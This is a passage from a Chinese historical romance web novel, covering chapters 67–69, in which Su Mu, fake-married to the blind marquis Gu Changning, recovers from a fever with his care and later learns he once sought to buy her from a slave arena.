踌躇须臾,他缓缓起身,从主位上移开,落在那人身旁。 手背相撞,来不及怔仲,手背的冰冷让他蹙起了眉头。 顾长宁没有丝毫犹豫,他将自己外面套着的玄色披风取下给人盖上,后又觉得不够,又扯过放在主位上的狐毯给她覆上。 二人并肩而坐,与刚才的湿冷不一样,顾长宁被相触之处灼烧的不行。 犹豫片刻,他才缓缓抬手,想起刚才的距离,又将手往上抬其半寸,两指落入额头。 很烫。 顾长宁眉心拧的更紧,沉吟片刻,他垂在腿上的左手攥得越来越紧。 “快些回府!” 他朝外喊道,随后折手覆其她的脸庞,将她的手结实的按在自己的肩膀之上。 柔软的脸颊随车厢浮动不断冲撞着他的肩头,他知道自己肩头多少有些咯,于是端坐的身子又轻慢地往下挪动了几分,直到她脸颊浮动不大,睡的安稳。 甚至环抱着他的腰身。 顾长宁僵桎着,由着她上下其手,最终停歇。 只余清浅地呼吸一下下地扫过他的脖间,痒麻酥软。 顾长宁捏着的拳头似乎更紧了几分,他同她一样阖目,尽力去抛开这些细小的异样,努力去想其余之事。 今日在殿上,皇帝对他的态度不算冷,甚至是嘘寒问暖,还对前些日子的事情流露出浅浅的愧意。 那样心机深沉又自负的帝王,对他有讨好之意。顾长宁明白,皇帝后面想要说的事情恐怕不简单。 不止是大鄢举国知道此朝缺少将候,鄢国周边自然也是知晓的。自少将顾长宁落疾后,鄢国边界时常有敌国骚扰,都是些小打小闹却惹得人头疼。 当下世家不是只顾纸上谈兵就是纨绔子弟,要培养将领谈何容易。 眼下,皇帝得意思很是明显,他想要在宫中开办武学,不管是从文识方面,还是实操方面。 他想要等老侯爷回来后做此门老师,为国培养将才,以备不时之需。 “伯沅啊,你看这偌大的鄢国只有区区武将,外敌要是有所侵,你父亲一人也是吃不消的,况你如今……哎,罢了不说伤心事,总之,朝中举力……” 回想起今日之话,顾长宁只觉可笑,培养将领岂是讲讲文韬,拘泥一方操练即可达成。 只有一刀一枪的杀,方可百斩不饶,杀出一代将领。 可他偏偏又忌惮武将,前些年绊倒了周家不够,如今念头又打到了顾家头上,也不知这其中是哪帘后垂帘听政的太后之意,还是丞相之意。 他这话,明显是念及父亲年老,他又眼瞎,欺辱顾家无人,想要收回兵权罢了。 就如今日,他在太极殿被逼,而他身侧之人,又在殿外受辱。 愚不可及! 不过三年落疾,朝中之人是真当他顾长宁死了不是。 既然如此,他偏不如他们的意!- 窗外雨声渐歇,屋内极静,劈里啪啦的炉火冒着热气。 床榻上的人掀开了沉重的眼皮。 苏木不知自己昏睡了多久,脑旁两穴隐隐抽痛,入目是一片昏黄的烛光。 按照往常,苏木习惯性撑手半坐,可手指微微一屈,却是丝毫不能动弹。 意识到不对,她往床榻边上看去。 床沿之上趴着一个人,额前发丝散落,眉宇间难得没有冷厉,却透着几分疲累和倦意。 他的手杖还置在不远处。 这好像是新婚之后,她第一次醒来,瞧见守在身旁的不是祝余,而是眼前这个人。 她仔细地用眸光描摹他朗阔的额头,舒展的眉宇,高挺的鼻梁,柔软的……嘴唇。 床上的人不得不承认,顾长宁有一张极其好的皮囊。没有表情时他的面庞大多透露着冷冽,是一种生人勿近的气质。 可即使这样,她还是看到过许多次,在这张皮囊之下的愤怒、惆怅、难过、高兴。 顾长宁,我希望,没有你。 九年前的事情,没有你顾家的参与。 这么久以来,你我也算生死之交,我不想也不愿将刀锋对准你,对准侯府。 她的眸光停在他紧攥着她的手上,就连睡着,他的力度都十分大,她轻轻抽,却抽离不了。 苏木眨了眨眼,将泛酸的眼眶按捺了回去,她微微一动,和她手掌相握的人如同受惊一般陡然抬头。 失明的双眸没有焦点,却死死地对准了她,眼眶地下还泛着血丝。 苏木看着他,他似乎……有点高兴。 薄唇轻启,也许他许久未说话,嗓音有几分与以往不同的沙哑:“……苏木?” 这一声唤她,似乎在黑暗中摸索一般,见到了些许光亮,有些压抑许久的喜色。 他手未收回,掌心滚烫,握的她手心微微出了一层细汗。 她怔怔地看着他,好不容易憋回去的酸涩又再次生了出来。 知道他看不见,她却还是别过了头。 她该说什么,是应该说:顾长宁,其实我是拿你当作朋友的,但是若你顾家真与那件事有牵扯,我也定不会放过你。 还是说:顾长宁,你喜欢的人好像不怎么样呀,见到我被欺负了,也不说帮帮忙。 还是说……说什么呢。 她的身份,她是万不能说的,那她要借之前他答应的两个条件,直接问他吗? 问说,顾长宁,听说天佑二年皇帝赐给过顾家二十五只精造箭羽,你能拿给我看看吗?你们家的箭镞还在吗?你们家的箭镞有过缺少吗? 她能问吗?好像不能。 算了,比起直接的问,将刀柄递给他人,还是自己查来的可靠。 苏木压住酸涩滞住的喉咙,缓缓嗯了一声。 “我睡了多久?” “一夜。” “现在不是晚上吗?” 苏木瞧着屋内烛光,现在也是夜晚。 “哦……我忘了,睡了一觉,原来又至天黑,是一夜一日,昨日我们回府后天色便暗了。” 苏木看他,他急着回答,居然话中有些磕绊。 很少见他如此,苏木有些别扭,于是又看向被握住的手,缓缓抽回。 “你一直在这?” 抽回的那一刻,她似乎感觉到握住他的手下意识地想要攥紧,但下一瞬便自己收回了。 他也缓缓起身,不再坐在地毯之上,而是起身凭靠着几案而坐。 “你昨夜烧的厉害,身边离不开人,我无事,一直在。” 苏木瞧见他因干涩而有些裂白的唇,心上暖了几分:“谢了。” 她看向自己因生汗而微红的掌心:“其实你没必要守着我,我们本就是假的,交给其余人也是可以的。” 她这句说完,顾长宁久久未回应。 “只是……昨日因为我,你怕是没能好好和你长姐见上一面了。” 苏木垂眸,想起了昨夜之事,她记得自己提醒了他,但他居然没有停下,在昏睡过去的前一刻,他都还是环抱着她,似没转身。 想来,好像又欠下一份人情一般。 但是,娴妃已经是宫中之人了,顾长宁就算为了侯府着想,也不该再去招惹了吧。 她看向顾长宁,只见他又恢复往日淡漠神情,可苏木就是感觉那层羽睫下的阴影,映照着他的晦暗。 “无碍,日后总能见到的。” 想来,还是不高兴的吧,因为她,错失了一次机会。 她也没什么立场去劝他,不管如何,他们二人的情谊就算不被男女之情裹挟,还有儿时情谊在。 顾长宁不知道苏木将此事已经想的十万八千里远了,他面上流露出的不悦,仅仅是因为她提起了娴妃,让他又想起了昨日之事。 而他所不悦的,是皇帝和皇后的做法。 视线落在顾长宁的眼上,她想起昨日早些时候还瞳丸已经从蔺州到了她手里。 给他吃下这最后一味药,想毕不久他就能重见天日了。 第67章 “你今日可服药了?” “我的眼睛何时能好?” 二人的话在寂静的屋中撞在了一起。 苏木想起今日顾长宁或许一直在照顾她, 也不知有没有按时吃药,若是未服用, 这还瞳丸就算吃了也得再等上几日。 顾长宁也是未能想到二人的话能撞上,嘴角微微上勾:“一顿也不曾落下。” “只是不知,我这眼睛,几时能好?” 顾长宁要做的事情,必须得等到老侯爷还没回来时去做,若不然又会遭人质疑。 “你缺的那味药明净医馆已进了,明日给你服下, 这几日观察观察, 不出意外的话, 就这几日了。” 苏木肯定不能说这药是从蔺州而来, 免得他又去查上一番,平添麻烦, 于是直接说了是从自己开办的那家明净医馆进的货。 “那便辛苦你了。” “无碍。”苏木看他:“你若要谢, 不如叫人进来,扶我出去走走, 这屋中有些闷热, 头更昏沉了。” 苏木没说谎, 这屋中香炉烧的正旺,整个屋子都更火炉一般,教她热的发慌。 “你受了风寒, 怕是……” “无碍的,我自身就是个大夫,比你更清楚我自身的身子。” 说罢苏木就要翻身下床,她身上只穿了白色的里衣,知道顾长宁瞧不见, 她也不觉得不好意思,起身就去旁边的木架上取自己的衣服。 “只是,刚才外头敲了更,现下已是四更,下人们都睡了。” 话说,一般府上下人们睡了,贵人若是有事那也是必须起来伺候的,但这侯府似乎不同,至少在苏木入府的这段日子里,她很少瞧见歇了还被叫起的下人。 她也自然不是喜欢麻烦别人之人。 她努力站直身子,虽然脚下发软,似乎还有虚汗漂浮,但出个门应该不是难事。 “算了,我自己出去走走,你早些歇下吧。” 苏木将衣架上的衣服一层层穿上,最终停在了腰带之上。 这个腰带不似往常可系,而是一精美卡扣,想来是重新制的衣挂在这的,这种卡扣是苏木未曾见过的,有在后腰,她够了半天没扣上。 身子还未好全,瞬间呼吸都急沉了几分。 苏木刚才虽叫顾长宁歇下了,但顾长宁却仍旧在几案旁未动。 听到些不对劲,顾长宁问:“怎么了?” 苏木都准备放弃了,想着不套这外衣,套个披风出去就得了,于是有把腰带取下,将最外蹭稍微厚实点的披风取下披上:“没事,我出去了。” “我和你一起吧?” 苏木转头看他正要拒绝他的话,他却已经走到了她跟前。 绕过木架,他被木驾上的衣衫拂了拂脸。 “你没穿衣?” “……” 他问的急,突然发现这话似有歧义,立马纠正:“我是问,你没穿外衣?” 苏木瞧着他尴尬得模样,忽然脑海里浮现了月前二人一同去阆华,她离他近,他耳尖泛红,知道自己看不见却依旧别过面庞。 许是躺的太久有些烦闷,苏木忽然觉得浑身轻松,想要逗逗他,或者说,想要再看看他当时得模样。 “外衣的腰带是我未曾见过的,不太会扣,有些麻烦。” 顾长宁正要开口,忽然又觉得有些冒犯。 他本想说,我可以帮你,但似乎……不太合适。 苏木也没想真的让他帮忙,但瞧见他欲言又止的模样,笑意更甚,但没笑出声。 或许是笑得时候努力憋着,苏木吸气是猛呛了几口,顿时咳嗽的急,呛出几滴泪来。 顾长宁踌躇着上前,却又想起什么一般,耳尖真的泛红了起来:“你风寒未愈,不穿外衣对身子不好,你穿上,我试试。” 苏木努力平复,终是笑出声来,声从鼻腔出,随意一问:“试什么?” “帮你把腰带扣上。” 苏木的笑就这样一下僵在了脸上。 “……” 他认真了? 帮一个女子扣腰带,不太……合适吧…… 她讪笑:“无碍的无碍的,这外衣很厚实。” 她摆手拒绝,可顾长宁哪看得见,掀起衣架上的衣衫就朝她走来。 烛火跳跃在他冷暗晦明的脸颊上,昏黄烛光掩盖了面庞的薄红。 他的指节很长,轻轻一揽,衣衫便尽数落入他的掌中。他掌心朝上递给她:“你先穿上,然后我……我帮你扣上。” “……” “那个,其实真不用,我现在感觉自己好咳咳咳……好很多了咳咳” “……” 递给她衣服的那双手没有半分犹豫,也没有半分要撤回的意思。 “苏木。” “嗯?” 他突然唤她名字,苏木弯着的腰慢慢起来,疑惑地看着他。 “你是我一点点照顾好的人,我不想你,” 他要说的话停了半刻,随即抬眸,就像要对上她的视线一样,“再有半分的不适。” “也不要咳嗽,” “不要再受寒。” “……” 什么意思? 苏木有些懵。不是她就睡了一日一夜,为何她感觉,顾长宁怪怪的。 而且这些话听起来,她居然起了一层鸡皮疙瘩。 哦,我知道了,肯定是昨夜加上今天他一直照顾她,多少有些不爽了,毕竟他整日似乎也挺忙的,被耽搁这么久,她要是又病了又得假装照顾,是她她也不愿意。 反应过来,苏木妥协接过衣衫:“好吧。” 只是衣衫穿好后她又自己琢磨了两秒,她还是不想让顾长宁帮她扣,真的怪怪的,况且他是个瞎子,能看明白怎么扣吗。 但是,这个扣子的确不怎么给力,像是和苏木作对一般,扣上又落下,落下又扣上,然后…… 一双宽大地手掌忽然落入眸中,粗粝指节刮过苏木的细指,缓缓捻住腰间扣子。 他不知是何时靠近的,他比她要高些,苏木僵住的那一刻,他低沉的呼吸扫过她的耳尖,翻涌起一阵热浪,教她进退不得。 他们的衣衫靠的很近,他的左手手臂几乎靠在她的整个右臂,然后他又往后挪了几步,将手指插进腰带与她的腰间。 他猛拽几下,被苏木扯歪的腰带正了过来,他的指节在她的后腰不断摩梭,苏木的背僵的更厉害了,她似乎连呼吸都滞住了一般,身上所有的注意力都集中在了那一处。 这样的摩梭并不算久,但苏木却觉得好像过了一个世纪般,她只听到清脆的金属碰撞声,刚才腰间的松弛不再,只有紧紧的束缚感。 “好了。” 二人靠的极近,他这声几乎是在她耳边轻语,说话声呼出的气息比刚才更重,扫过苏木耳尖时一丝酥麻燃起,她轰地脸上烧了起来,忙往后退了几步。 哐当一声,苏木撞到了身后花瓶,花瓶里的海棠散落一地。 顾长宁被这声吓了一跳,随即就要去扶她,苏木急得忙往后又退了几步:“没事,没事。” 她将花瓶放好,看着瓶中海棠枝桠有些枯萎。 刚才的思绪一瞬被抽走,她看着海棠因为她这一撞落入地上后被蹂躏地不成样子了,一下便想好了出门后去哪个目的地。 顾长宁重新握着盲杖,就这样跟在他身后。 随着盲杖,这条路他早就在心底印地十分清楚,见眼前人停下脚步,顾长宁也跟着停下。 “醉花荫的确适合闲来无事时逛逛,府中花草大多不是浓烈味道的花,这儿沁人心脾,教人心宁。” 苏木问:“所以这醉花荫是你所造?” 顾长宁往前挪了几步,和她并肩:“不是,这是少时长姐和父亲移栽所造的。” 苏木转头看向院中最大的那一颗海棠树,想起前些日子日头好时在雨水的浸染下破败了一地,破碎的花瓣杂糅在湿滑的地面,却是一副好看的春棠图。 枝桠上的繁华未减,依旧勃勃生机。 只是,顾长宁不是一向讨厌地上落些残花残叶的,今日这醉花荫还稀奇,竟然落花未扫。 这海棠看着有些年头了。 “那这海棠树呢,也是吗?” 顾长宁似乎也跟着她所问看向了那高大枝桠,“不是,这是……我母亲所栽种。” 苏木知道睿雍长公主早已逝世,她知道自己提起了不该提的,正准备抱歉,可顾长宁似乎毫无所谓,甚至继续言道。 “母亲很喜欢海棠,母亲是女将,当年曾和父亲一起厮杀疆场,蓬勃无限,他们在少时共同种下的这一株海棠,等到我出身后,母亲为了照顾我,便很少出征了。” “幼时,我常见母亲坐在海棠之下,她日日夜夜看着海棠,我知道她等的不是海棠花落花开,她是在等父亲归来。” “母亲走后,父亲一度想要砍了这一株海棠,是我哭着求他,他才没有将它移走。” “我知道父亲会睹物思人,可我亦然。我八岁母亲便因病而逝,她上不了疆场,见不到爱人才郁郁寡欢的。” 顾长宁又上前走了几步,他半蹲着,拾起了一片沾着雨水的海棠,“所以日后我若是有了爱人,我定不会与她分别,亦不会困住她,她想做什么便可以做什么。” “我可以同她去西北看大漠孤烟,可以去江南看水草秀丽,可以在北疆看雪洒山川亦可以去南疆……亦可以在南疆同她共赴华发。” 苏木看着他的背影,思绪万千。娴妃已为人妻了,他说的这些,似乎都不能和自己所爱之人在一起了。 她缓缓开口,像是在安慰:“顾长宁,你以后会再遇到自己喜欢的人的。” 一语落下,那人缓缓转身,风挟裹这落花翻飞,他衣诀与发丝同飞,眸中带笑,舒展朗然。 “苏木,我有喜欢的人。”—— 第68章 那一刻, 月下寂静无垠,银光随他发丝而扬, 缠绕海棠而落,苏木有刹那的失神。 苏木无奈一笑,她当然知道顾长宁有喜欢的人了,只是她不好直说而已。 难道要让他直接说:顾长宁,你抢皇帝的女人真的不太好,你俩真不行,你还是算了吧。 顾长宁要是知道自己喜欢皇帝的女人被她知道了, 那不得掐死她。 算了算了。 她别过这个话题, 抬头看了看挂在天上的那挂皎月:“今夜月色很好。” 顾长宁没答, 苏木没看他, 也忘了他看不见。 见一时无声,苏木转头看了他一眼, 顿了片刻:“明日我便将最后一味药给你服下, 相信过不了多久,这样好的月色, 你也可以看到。” 他嘴边挂着浅笑:“好啊, 多谢。” 随后, 二人无言,苏木慢挪着步子,他便拄这手杖在她身后发出笃笃的声音。 说实话, 苏木自进入侯府以来,好像从来没有仔细注意过侯府的布局。与顾长宁主屋的装饰风格不同,醉花荫花种多样,绿茵成林,仿如江南园林。 看得出来, 侯府这般,多年前的女主人有多么用心。 想着,二人一前一后行至院中深处。 忽然,一阵急促的男女喘息声自茂密灌丛中发出,苏木听到后一怔,随即想到了什么,红着脸想要转身逃离。 她对这种事情不感兴趣,自然也不愿尴尬地同顾长宁一同一探究竟。 顾长宁在她身后走的慢些,还没意识到前面的人转过身,胸膛便已经被人的脑袋撞了个满怀。 “……” “怎么了?” 顾长宁不明所以,刚问出口,苏木已经忙往后退开了几步。 “没事。” 苏木绕过他就要走,身后却没传来顾长宁的脚步声。 转过去一看,顾长宁还在往里走,而且此刻离他站在刚才她听到声音的地方只余几步路的距离。 苏木一个疾步上去拽他衣袖,他稍侧了一点身子,但眼底满是疑惑。 “不是说没事,还往前走什么?” 他侧耳听着她的话,欲言又止,眉头紧拧。 “你……不是要折海棠花枝吗,里面有一棵小树,方便你折一点。” 他是什么时候知道她心里所想的。 她都差点要忘记了,出门的时候不小心将他花瓶里的海棠花弄倒了,她本来是看见远处有一矮小花树的。 但刚刚因为听到了不合时宜的声音,所以急着返回,完全忘记了这件事。 “你的海棠花我用其它花赔给你,那边杂草荆棘多,这天又黑,我不乐意去了。” “你在担心我?” 担心你?开什么玩笑,你是听不懂我话里的意思吗? 什么天黑,什么杂草荆棘,那都是借口,好吧。 苏木哑口无言,却鬼使神差地点点头,语中带着无奈:“你出什么事情了,麻烦的又是我。” 不知道为什么,说这句话的时候,苏木低着头,没去看顾长宁的眼睛。 但正是因为低着头眼中看不到什么能吸引注意力的东西,所以周边细小的声音都变得格外清楚。 那股淡下去的气息起伏声音,正以猛烈的冲击力灌入苏木的耳朵,虽然依旧极力地压抑,但声音却越来越大。 苏木猛地抬手,捂住了身前人的耳朵。这个动作几乎是本能,她脑子似乎还没想清楚,双手便替她做了决定。 动作太急,所以二人均未反应过来,尤其是顾长宁,黝黑双眸下的深潭,掀起了波澜壮阔的浪潮。 月下僵住的人,是两位。 顾长宁比她高很多,所以在她抬手的那一刻,她相应地踮起了脚尖。 顾长宁骤然一震,瞳孔微缩。温热柔软的掌心紧贴着他的耳廊,很严实。 他好像听不到其它的声音,胸膛里的东西似乎不安分地躁动。 他声音有些干涩,眉头轻蹙:“苏……木?” 耳边笑语自簇簇花团中溢出,苏木竟也似短暂失聪一般。只能听到眼前人唤她名字的声音。 她指尖微颤,眼睛始终放在他脸上,未曾离开。 月光像是覆上了一层柔纱,洒在他睫毛上时,给硬朗的脸庞染上柔和。睫下阴影微颤,面颊在夜色下染上了一层不易察觉的霞色。 错愕与慌乱并行,苏木微张着嘴,喉咙里的话停在了原处。 她在干什么? 她疯了吗? “啊……是……是……” 她吞吞吐吐的话还没说完,急忙想要去抽开那发烫的双手。 指尖往回撤走了半分,却被宽大粗粝的手掌反握着。 他的手掌比他凉些,刹那间,苏木觉得自己掌心的灼烧感被缓解许多,甚至可以说是很舒服。 当她意识到时,她往回抽手的力度更大了一点。 她的呼吸有些凌乱,眼底浸染着慌张,眼神从他的脸上别过怕,四下却不知道哪里可以瞧。 也是在这个时候,那花丛中的暧昧之声清晰地钻入了顾长宁的耳中。 低俗暧昧,不堪入耳…… 反握着苏木,教她抽离不了的那只手就这样僵在了她的手背上。 “……” 苏木猛地抽回了手。 看着顾长宁本是薄红的脸颜色逐渐地加深,深红的脸逐渐染上了尴尬和铁青,苏木刚才的情绪竟一扫而空,脸上笑意挂满。 “刚才就让你不要过去,是你不听的。” 顾长宁似乎没兴趣和她拌嘴,他拂袖就要往里去,苏木这下才是惊呆了,他光听到一点声音不够,还要往前去? “你……你干嘛?” 苏木声音很小,拽着他衣袖的手劲却很大。 “世风日下,行苟且之事,我岂能容忍!” 他这话说的义正言辞,苏木这下是真的看出来他很生气了。 但他看不见,那倒没事,她可不想当他的眼睛,亲手亲眼地去见证那副香艳之景,顺带着还要将人处罚了去。 苏木就着拉他的劲,把他拽回了院中最高的那棵海棠树下。 簌簌落花随凉风而飞,二人心境却不似刚刚。 “你拉我干什么!” 他还是面色铁青,脖子赤红,甩开苏木拉着他的手,往她身侧的远处挪动了几步。 苏木觉得好笑,却又觉得不明白。他作为一个男人,对于这种事情,自然是要比她见过的多得多的,怎能气成这样。 而且瞧着气愤的程度,其实还不如尴尬多。 苏木瘪嘴:“我不拉着你,难道还要和你一起去将人揪起来?” 顾长宁甩了甩刚才被拽着落入身前的发丝,脸色阴沉:“自然如此,他们胆敢在侯府行如此之事,自然要承担后果。” 苏木好笑,顺着他的方向朝他走了几步:“那你说说,他们在行何事?” 脚步声愈发地近了,顾长宁怒不胜言,往后踉跄几步,如避蛇蟒。 “明知故问!你……你说他们在干什么!” 他明明看不见,却似难为情一般,说完最后一字便别过头去。 后脖青筋爆出,似他面色控诉。 按理说,顾长宁三年前可是征战四方的将军,就算抛开这个,他也是活了二十二年血气方刚的儿郎,京中其他人像他这个年岁,妻妾都已成群,再有甚者,孩郎遍地。 但顾长宁,似未经人事一般,瞧见这般事,闻之色变。 倒是让她想起之前在阆华街时,她护着他时,二人面颊贴的极近,他的神色也十分不自在。 装的还是真的。 苏木又往前走了几步,甚至偏头绕过他的肩膀,直愣愣地瞧着他那涨红的脸。 “顾长宁,你害羞了?” 苏木脚步极轻,顾长宁根本没注意到苏木的靠近,所以在听到声音自脸前传出时,顾长宁往后踉跄地更加凌乱。 “我……我害羞什么!” “本侯,本侯必须将那些个人赶出去,别坏了侯府的风气!” 说罢,他飞也似地想要逃离这里,连带着手中手杖笃笃地混乱不堪,四下探索后找不到路在哪里。 苏木双手环胸,就这样看着他。 越是慌乱,越是不辨方位,所以顾长宁此刻犹如无头苍蝇一般,往东走两步又退后,往西走两步又退回,好几次差点被花丛绊倒。 终于,顾长宁在不知道第几次被藤蔓绊住后,苏木笑出了声音。 笑意自鼻腔发出,若是不注意,还以为是不以为然的冷哼。 所以这声音在顾长宁听来,像是在挑衅。 他顿住手杖,微不可察地深吸了一口气,情绪比刚才稳定了许多,面色也比刚才缓下许多。 他冷着眼,朝着笑出声的方向。 “你笑什么。” 苏木靠着树干,答的随意:“顾长宁,我发现你很好玩。”? 顾长宁缓和的面色又铁青了起来。 他找着方向了,于是朝着苏木说话的方向而来,停在了离她的几步外。 苏木懒懒掀眼看他:“怎么,你要揍我?” “……” 顾长宁是真被气笑了。 她脑子里都在想些什么。他难道在她眼中就是什么纨绔劣根之人,还是说她就喜欢别人揍她。 苏木懒得等他回话,散漫开口:“不是我说,侯府又如何,上京如何,乃至乡野又如何。这等事乃人之常情,在你们侯府,每日不见生气,每个下人奴婢时刻小心谨慎,战战兢兢,要我说,这等事情若是能疏解疏解他们的心情,那也是好的。” 苏木说的随意,仿佛将此事说的和用饭饮水一般简单,顾长宁冷声反驳:“你个姑娘家家,说话能不能注意点,还好的,算什么好的,有伤风化。” “什么叫有伤风化,又没在大庭广众之下,伤着谁了!要我说,他们又不耽搁每日当值,私下他们想做什么,只要不伤着侯府的面子,那也是无碍的。” “况且我听说,你们侯府在丫鬟下人年近二五便会将人放出府去,或许那一对便近此时,既然无甚大雅,你便不要去拆人,做那阎王了。” “……” 顾长宁可谓从未从女子口中听过如此无理之话,但却怼的他毫无还手之力。 他对待这些事情一向懵懂,其实也不知该如何处置,刚才想要揪人的做法在此刻想来似乎也不算最妥当的法子。 他自小和父亲生活在军营之中,他战功赫赫,治军严明,军中若是有人敢藏艳书论艳书,他均军法伺候,这也导致了军中无人与他交好,瞧见他真像瞧见了活阎王一般,更别说那些个艳书能传入他眼了。 眼瞎后,他常呆在侯府,谢长盛倒是来找过他几次,总想带着他去烟柳之所,说是不能压抑自己,得适当释放,他觉得无道理,统统拒了。 林叔在父亲的叮嘱下,之前塞过几个丫头伺候他,他觉得厌烦,还没给他妥协便被他斥走了。 所以在顾长宁的意识里,这种事情他不感兴趣,同样也是不好宣之于口的。 见的听的少了,所以眼下,他好像找不到什么话来反驳。 顾长宁欲盖弥彰地咳了几声,想给自己个台阶下,既然如此,他便不追究这件事了,但是,绝对没有下一次。 可是这种事情在内宅,也向来不是男人家来管的事情。 顾长宁对着他,瞳孔发黑。 “或许你说的对。” 他顿了顿,喉头滚动:“不过,本侯凭什么听你的。” “你是以什么身份,对我侯府之事轮足评判,教我做事。” 他内心隐隐期待,他丢下鱼饵,他就是故意的,他想听到想听到的回答。 两人一时无言,夜风浮动二人的衣角,卷卷叠叠,缠绵悱恻。 顾长宁眼神未有松动,那一刻,苏木觉得顾长宁似乎能看到她。 她有一丝的慌乱,就算强作镇定,但指节确在衣袖下蜷曲拧动。 她好似不在意般:“目前看来,我也可以是以你夫人的身份。” 第69章 其实苏木在说完那句话后就有些后悔了, 她想抽自己两嘴巴的,但是顾长宁没说话, 她多说两句,似乎显得欲盖弥彰。 而在那一夜过后,顾长宁也的确没有再追究这件事,不知道他是将她说的话真的听进去了,还是说他根本没当回事,早就忘记了。 不管是那种情况,总之再第二天给顾长宁服下了还瞳丸后, 苏木好几天没再见到过他。 虽然眼睛还没恢复, 但他似乎比以前忙碌了许多, 扬风时常跟在他身后, 没踪影。 倒是凌风一直呆在府上,苏木时常能见到他。 她有时会和祝余一起在医馆出诊, 有时在东厢房教芜衣功夫, 有时则会在海棠花下继续练着那本极其厚实的《集韵》。 总之,她没有机会去顾长宁书房寻些答案, 器库她已经不知道去过多少次了, 一点线索也没有。 老侯爷的书房她也去过, 箭镞的详细记录也并不在那处。 海棠花早就谢的不剩下几朵,苏木在落下最后一笔后将案桌上落下的那枚蕊红拾起。 海棠花妖而不艳,清润透香, 叠拥簇簇,煞是好看。 一时间,苏木脑海里浮起了一抹画面。 穿着月白色澜衫的人缓缓转身,风挟裹着落花翻飞,他衣诀与发丝同飞, 眸中带笑,舒展朗然。 他说,“苏木,我有喜欢的人。” 顾长宁,好几日没见着他的影子了。 明明说好他眼睛好后就找机会去南疆找巫师,也不知道是真的忙碌还是在躲着她,他几乎每次都是更深露重了才从府外归来。 他每次入屋的脚步声很轻,似乎很怕吵到他,所以在苏木意识到顾长宁回来时,听到的不是他的手杖声,而是磕磕绊绊时有时无地碰到桌椅的声音。 直至后来,他似乎也意识到不妥,在苏木还在练字的某一天,他派凌风直接来主屋搬东西,要去书房睡。 她好像没有什么理由说不,便任由人将本属于这个屋子的那人的东西,悉数搬走。 府中日子一如往常,可在苏木看来,总觉得哪里不对劲。 甚至,她觉得她和顾长宁的距离好像又变得远了。 偶尔在花下练字时,要不是瞧见头顶上的海棠花,她都快忘记自己是在侯府,也要忘记之前的那些日子。 总是让人怀疑,之前那些事情是否是真的发生过。 苏木觉得自己好像变得越来越奇怪了。 凌风按照往常来将苏木所习的字整理成册,苏木伸着懒腰看着弯腰在桌前的人。 “你们侯爷眼睛都还没好,总是揪着我这烂字干嘛,就算他有一天完全好了,这习纸也该堆满他那书房了吧。” 是的,凌风每次在他习完字后都要整理好送到书房去,美其名曰检查,才能更好的进步。 不过等顾长宁眼睛真看见了,她或许早就不在侯府呆着了。 凌风沉默寡言,苏木这话也不像问句,他也没有回答。 苏木这才又问:“你们侯爷今日还是晚归?” 凌风这才点点头。 苏木又问:“你们侯爷这几日在忙些什么?” 凌风身形微顿,随即开口:“回夫人,凌风并不知晓。” 她其实习惯每次从凌风那里都问不出什么了,但她有时又会忘记,张口就来,问的就是顾长宁。 不然她和凌风似乎也没什么可聊的。 见问不出什么,苏木也妥协了,她看了看东厢房的方向,瞧着此时该是去瞧瞧芜衣那丫头练的怎么样了。 余光瞧见凌风将东西都收拾好了,苏木开口:“东厢房和书房一个方向,你和我一同去。” 凌风齐了齐卷纸,随即点点头。 二人一前一后,穿过假山水榭,步入吊满风铃的回廊。 苏木无聊,有一搭没一搭的问话。 “这风铃是从来便有的吗?” 凌风的话听不出情绪:“不是,是侯爷眼睛不便利后,娴妃娘娘派人系上的。” 苏木被风铃晃得眼疼,一瞬便别开了视线:“哦,那以后你们侯爷眼睛好了,这风铃会取下来吗?” 凌风依旧不咸不淡:“凌风不知。” 苏木往前走的步子迈的慢了那么刹那,随即往后看了一眼,转回头的那一刻才忍不住说: “凌风,有没有人说过你很没意思。” 似是没想到苏木的话匣子转的如此快,凌风回答的并没有刚才快。 “说过。” “……” “是顾长宁?” “是。” 苏木停下脚步看他,“顾长宁不是比你更没意思吗,他说你?” “以前在奴场,他们见我话少,都不太喜欢我,那个时候,公子几乎日日都来奴场,他说我很没意思,但他和其他人不一样,他把我带来了侯府。” 苏木错愕,她回头看到凌风毫无波澜的面孔有了一丝丝松动:“你以前,曾在奴场呆过?” “哪个奴场?” “上京最大的奴场。” “你是什么时候被买回侯府的?” 这下,凌风回答的又很快,“六年前。” 听到这个回答,苏木那被压在脑海最底下,最黑暗的那段记忆被唤醒来。 这话震地她头皮发麻,错愕不堪。 脑袋很乱,她细细回想起来,六年前,她也还在奴场。 她看着凌风的眼神更加仔细了起来,她会不会在奴场曾见到过凌风,曾和他见过那么一面。 又或者说,她曾和顾长宁见过一面。 苏木疑犹着,却还是开口:“那个时候……顾长宁经常去奴场吗?” 凌风察觉到苏木语气的不同,于是认真回想起来,大概片刻后,他点点头:“是,大概一个月,在我奴场决斗后的一个月里吗,他时常会来奴场。” 一个荒唐的想法萦绕在苏木的脑海里,她嘴角牵起了一抹苦涩。 几乎没过脑子,她直接就问:“他为什么要来。” 没察觉到那细微的变化,凌风按她的问话回答:“他好像要找人,我记得是和我决斗的一个小丫头,侯爷好像是要买她的,她很凶,我记得我差点死在那个角斗场上。” “她虽然是个丫头,但毅力忍耐力力气都不输我们,我心服口服,但是她在和我角斗后的那几日后,没人买她,后来她就不见了,后来,我再没见到过她。” 尾字落下,凌风少见地抬头看着苏木。 苏木脑袋一瞬空白,她好像不需要问出那个名字,也不需要问清楚当年的细节。 那个人,那个她曾恨过的,恨他为什么不要她的人,就是他。 是顾长宁。 这世上有些事情,真是命运弄人。 她回睨着凌风,大概是觉得可笑,若是那日他没有走,那日被买走的人是她,那她现在就是侯府的一位女护卫。 后来也不会遇到义母,不会遇到…… 不会遇到谁? 支离破碎的画面充斥着苏木的脑袋,光怪陆离的身影肆意拉扯着她的思绪。 她记得一个笑容,一个十分模糊,却十分温和,似要将她融化般,春风满意,化屠苏送暖, “木儿,等我。” “木儿,别忘了我……” “原谅我……原谅我……” 四年前的那场病,好像让她做了一场很奇怪的梦。那个梦苏木几乎就要忘记了,大概有一年,她再也没想起过,却在今天,又反复吞噬着她。 是谁要她的原谅,是谁让她别忘了他。 梦中的人脸从未清晰过,她又怎么会记得这庄周一梦。 恼火地猛锤了几下自己的头,苏木急速地往前走。 所以,那个在奴场对她说会买走她却又抛弃她的人,是顾长宁。 至于凌风,则是那个在角斗场上拼的你死我活的少年牧岩。 “……” 